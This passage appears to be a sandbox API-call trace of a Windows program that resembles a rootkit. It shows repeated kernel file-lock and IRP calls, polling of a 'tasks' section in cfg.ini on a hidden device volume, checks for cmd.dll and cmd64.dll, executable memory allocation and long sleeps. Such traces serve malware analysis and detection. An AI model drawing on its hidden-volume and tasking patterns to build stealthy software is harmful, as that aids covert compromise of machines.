(StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.878] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.878] IdePortDispatch () returned 0x103 [0128.879] KeWaitForMutexObject () returned 0x0 [0128.879] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.879] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.879] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.879] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.879] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.879] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01720 [0128.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.879] KeLeaveCriticalRegion () [0128.879] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.879] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.879] KeEnterCriticalRegion () [0128.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.879] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.879] KeLeaveCriticalRegion () [0128.879] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.879] KeEnterCriticalRegion () [0128.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.879] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.879] IdePortDispatch () returned 0x103 [0128.879] KeWaitForMutexObject () returned 0x0 [0128.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.880] KeLeaveCriticalRegion () [0128.880] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.880] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.880] KeEnterCriticalRegion () [0128.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.880] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5e000 [0128.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.880] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.880] IdePortDispatch () returned 0x103 [0128.880] KeWaitForMutexObject () returned 0x0 [0128.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.880] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.880] IdePortDispatch () returned 0x103 [0128.880] KeWaitForMutexObject () returned 0x0 [0128.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.880] KeLeaveCriticalRegion () [0128.880] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.881] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.881] KeEnterCriticalRegion () [0128.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.881] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.881] KeLeaveCriticalRegion () [0128.881] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.881] KeEnterCriticalRegion () [0128.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.881] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.881] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.881] KeLeaveCriticalRegion () [0128.881] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.881] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.881] KeEnterCriticalRegion () [0128.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.881] ExFreePoolWithTag (P=0xfffffa8003c01720, Tag=0x0) [0128.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.881] KeLeaveCriticalRegion () [0128.881] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.881] ReleaseMutex (hMutex=0xf0) returned 1 [0128.882] Sleep (dwMilliseconds=0x927c0) [0128.898] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.898] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.898] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.898] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.898] KeEnterCriticalRegion () [0128.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.898] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.898] IdePortDispatch () returned 0x103 [0128.898] KeWaitForMutexObject () returned 0x0 [0128.898] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.898] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.898] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.898] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.899] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.899] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfffb0 [0128.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.899] KeLeaveCriticalRegion () [0128.899] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.899] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.899] KeEnterCriticalRegion () [0128.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.899] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.899] KeLeaveCriticalRegion () [0128.899] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.899] KeEnterCriticalRegion () [0128.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.899] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.899] IdePortDispatch () returned 0x103 [0128.899] KeWaitForMutexObject () returned 0x0 [0128.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.899] KeLeaveCriticalRegion () [0128.899] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.899] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.899] KeEnterCriticalRegion () [0128.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b63000 [0128.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.899] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.900] IdePortDispatch () returned 0x103 [0128.900] KeWaitForMutexObject () returned 0x0 [0128.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.900] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.900] IdePortDispatch () returned 0x103 [0128.900] KeWaitForMutexObject () returned 0x0 [0128.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.900] KeLeaveCriticalRegion () [0128.900] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.901] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.901] KeEnterCriticalRegion () [0128.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.901] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.901] KeLeaveCriticalRegion () [0128.901] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.901] KeEnterCriticalRegion () [0128.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.901] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.901] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.901] KeLeaveCriticalRegion () [0128.901] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.901] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.901] KeEnterCriticalRegion () [0128.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.901] ExFreePoolWithTag (P=0xfffffa8003bfffb0, Tag=0x0) [0128.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.901] KeLeaveCriticalRegion () [0128.901] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.901] ReleaseMutex (hMutex=0xf0) returned 1 [0128.901] Sleep (dwMilliseconds=0x927c0) [0128.916] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.916] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.916] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.916] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.916] KeEnterCriticalRegion () [0128.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.916] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.916] IdePortDispatch () returned 0x103 [0128.917] KeWaitForMutexObject () returned 0x0 [0128.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.917] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.917] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.917] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.917] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.917] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c003b0 [0128.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.917] KeLeaveCriticalRegion () [0128.917] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.917] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.917] KeEnterCriticalRegion () [0128.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.917] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.917] KeLeaveCriticalRegion () [0128.917] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.917] KeEnterCriticalRegion () [0128.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.917] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.917] IdePortDispatch () returned 0x103 [0128.917] KeWaitForMutexObject () returned 0x0 [0128.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.918] KeLeaveCriticalRegion () [0128.918] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.918] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.918] KeEnterCriticalRegion () [0128.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b68000 [0128.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.918] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.918] IdePortDispatch () returned 0x103 [0128.918] KeWaitForMutexObject () returned 0x0 [0128.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.918] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.918] IdePortDispatch () returned 0x103 [0128.918] KeWaitForMutexObject () returned 0x0 [0128.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.918] KeLeaveCriticalRegion () [0128.918] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.919] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.919] KeEnterCriticalRegion () [0128.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.919] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.919] KeLeaveCriticalRegion () [0128.919] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.919] KeEnterCriticalRegion () [0128.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.919] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.919] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c013e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.919] KeLeaveCriticalRegion () [0128.919] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.919] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.919] KeEnterCriticalRegion () [0128.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.919] ExFreePoolWithTag (P=0xfffffa8003c003b0, Tag=0x0) [0128.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.919] KeLeaveCriticalRegion () [0128.919] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.919] ReleaseMutex (hMutex=0xf0) returned 1 [0128.920] Sleep (dwMilliseconds=0x927c0) [0128.937] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.937] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.937] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.937] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.937] KeEnterCriticalRegion () [0128.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.937] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.937] IdePortDispatch () returned 0x103 [0128.937] KeWaitForMutexObject () returned 0x0 [0128.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.938] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.938] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.938] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.938] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.938] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01470 [0128.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.938] KeLeaveCriticalRegion () [0128.938] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.938] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.938] KeEnterCriticalRegion () [0128.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.938] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.938] KeLeaveCriticalRegion () [0128.938] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.938] KeEnterCriticalRegion () [0128.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 